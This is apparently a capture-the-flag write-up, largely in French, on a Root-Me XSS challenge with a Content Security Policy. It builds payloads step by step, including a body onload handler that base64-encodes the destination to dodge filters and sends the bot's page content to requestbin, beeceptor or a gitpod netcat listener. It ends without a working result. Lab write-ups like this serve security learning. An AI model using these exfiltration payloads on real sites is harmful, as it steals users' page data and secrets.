Skip to main content

CSP Bypass - Inline code

· 3 min read
"Objective"

Read the flag which is displayed on the web page for the bot, bot not accessible to us.
To do so we must write an url which starts with
URL should start with http://challenge01.root-me.org:58008/


This URL must be vulnerable to XSS and must bypass CSP security.
This URL must send us the webapge content so that we can read the flag

when writing our username, we can conclude that tags are not escaped.
Thus, we could write a form which will submit to our requestBin URL the content of the page.

<form id="the-form" action="http://requestbin.cn:80/1p4pg081" method="GET">
<input id="input-payload" type="text">
<button>Send</button>
</form>
<script>
var txt = document.getElementsByClassName("message")[0].innerHTML;
var input = document.getElementsById("input-payload").innerHTML = txt;
document.getElementById('the-form').submit();
</script>

visiblement non autorisé par l'administrateur !
on se doute que certains caractere pose problèmes... Je tente les payloads suivant pour identifier la source du probleme.

CASUAL
http://challenge01.root-me.org:58008/page?user=%3Cform%20id=%22the-form%22%20action=%22tequestbin.cnt80t1p4pg081%22%20method=%22GET%22%3E%3Cinput%20id=%22input-payload%22%20type=%22text%22%3E%3Cbutton%3ESend%3C/button%3E%3C/form%3E%3Cscript%3Evar%20txt%20=%20document.getElementsByClassName(%22message%22)[0].innerHTML;var%20input%20=%20document.getElementsById(%22input-payload%22).innerHTML%20=%20txt;document.getElementById(%27the-form%27).submit() => FAILURE

WITHOUT SCRIPT TAGs
http://challenge01.root-me.org:58008/page?user=%3Cform%20id=%22the-form%22%20action=%22tequestbin.cnt80t1p4pg081%22%20method=%22GET%22%3E%3Cinput%20id=%22input-payload%22%20type=%22text%22%3E%3Cbutton%3ESend%3C/button%3E%3C/form%3E%3Cscript%3Evar%20txt%20=%20document.getElementsByClassName(%22message%22)[0].innerHTML;var%20input%20=%20document.getElementsById(%22input-payload%22).innerHTML%20=%20txt;document.getElementById(%27the-form%27).submit() => FAILURE

WITHOUT HTTP keyword and ':' and without SCRIPT TAGS (replaced ':' by 'P')
challenge01.root-me.org:58008/page?user=<form id="the-form" action="httsP//requestbin.cnP80/1p4pg081" method="GET"><input id="input-payload" type="text"><button>Send</button></form> => SUCESS

on doit donc trouver un moyen de passer bypass cette validation hardcodé sur les caractères.

  • concernant la balise script, on pourrait s'appuyer sur un "onload" dans un tag html par exemple
  • pour echaper les caracters on pourrait utiliser atob() et btoa() pour chiffrer dechiffrer l'url de destination.

concernant les keyword "http" et ":" une solution fonctionelle ci-dessous

btoa("http://requestbin.cn:80/12r0gdp1")  => "aHR0cDovL3JlcXVlc3RiaW4uY246ODAvMTJyMGdkcDE="
atob("aHR0cDovL3JlcXVlc3RiaW4uY246ODAvMTJyMGdkcDE=") => "http://requestbin.cn:80/12r0gdp1"

pour rediriger le bot sans balise script, on s'appuie sur un onload= dans un tag html.

success

Le payload suivant fonctionne me renvoie sur mon adresse requestBin

<body onload='window.location.replace(atob("aHR0cDovL3JlcXVlc3RiaW4uY246ODAvMTJyMGdkcDE="))'>haha</body>

maintenant il nous reste a récupérer le flag qui est visible sur la page http://challenge01.root-me.org:58008/page par le bot.
Une solution serait d'ajouter un parametre GET qui contiendrait ce contenu comme suit

<body onload='window.location.replace(atob("aHR0cDovL3JlcXVlc3RiaW4uY246ODAvMTJyMGdkcDE=")+"?d="+document.getElementsByClassName("message")[0].innerHTML)'>haha</body>

renseigner cet URL me redirige sur RequestBin et me donne les informations suivantes

d: <p>At Quackquack corp the developers think that they do not have to patch XSS because they implement the Content Security Policy (CSP). But you are a hacker, right ? I'm sure you will be able to exfiltrate this flag: {FLAG_REDACTED}. (Only the bot is able to see the flag)</p>

HEADERS
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Host: requestbin.cn:80
Cookie: machin
Referer: http://challenge01.root-me.org:58008/
Upgrade-Insecure-Requests: 1

on va reporter cette URL sur la page admin

http://challenge01.root-me.org:58008/page?user=%3Cbody+onload%3D%27window.location.replace%28atob%28%22aHR0cDovL3JlcXVlc3RiaW4uY246ODAvMXBxM2R0NjE%3D%22%29%2B%22%3Fd%3D%22%2Bdocument.getElementsByClassName%28%22message%22%29%5B0%5D.innerHTML%29%27%3Ehaha%3C%2Fbody%3E

on attend et on prie pour que le bot nous renvoie bien le flag en parametre... Rien ne se passe... Au final j'apprends que root-me blacklist requestbin

on essaie avec beeceptor

concernant les keyword "http" et ":" une solution fonctionelle ci-dessous

btoa("http://azeaze.free.beeceptor.com")  => "aHR0cDovL3Jvb3RtZS5mcmVlLmJlZWNlcHRvci5jb20="

atob("aHR0cDovL3Jvb3RtZS5mcmVlLmJlZWNlcHRvci5jb20=") => "http://azeaze.free.beeceptor.com"

vulnerable link would be

challenge01.root-me.org:58008/page?user=<body+onload%3D'window.location.replace(atob("aHR0cDovL3Jvb3RtZS5mcmVlLmJlZWNlcHRvci5jb20=")%2B"%3Fd%3D"%2Bdocument.getElementsByClassName("message")[0].innerHTML)'>haha<%2Fbody>

could not craft something by hand for some reason ?

rien a faire tout passe en https... ça pourrait etre la raison ?

je teste une dernier fois avec gitpod

netcal -l 80
# accessible at http://80-ralsei38-reports-lozqcy52dgz.ws-eu110.gitpod.io

concernant les keyword "http" et ":" une solution fonctionelle ci-dessous

btoa("http://80-ralsei38-reports-lozqcy52dgz.ws-eu110.gitpod.io")  => "aHR0cDovLzgwLXJhbHNlaTM4LXJlcG9ydHMtbG96cWN5NTJkZ3oud3MtZXUxMTAuZ2l0cG9kLmlv" 

atob("aHR0cDovLzgwLXJhbHNlaTM4LXJlcG9ydHMtbG96cWN5NTJkZ3oud3MtZXUxMTAuZ2l0cG9kLmlv" ) => "http://80-ralsei38-reports-lozqcy52dgz.ws-eu110.gitpod.io"

vulnerable link would be

http://challenge01.root-me.org:58008/page?user=<body+onload%3D'window.location.replace(atob("aHR0cDovLzgwLXJhbHNlaTM4LXJlcG9ydHMtbG96cWN5NTJkZ3oud3MtZXUxMTAuZ2l0cG9kLmlv")%2B"%3Fd%3D"%2Bdocument.getElementsByClassName("message")[0].innerHTML)'>haha<%2Fbody>

mais sauvez moi... pourquoi ne fonctionne pas via le bot, mais fonctionne bien quand je par sur cette URL moi meme ?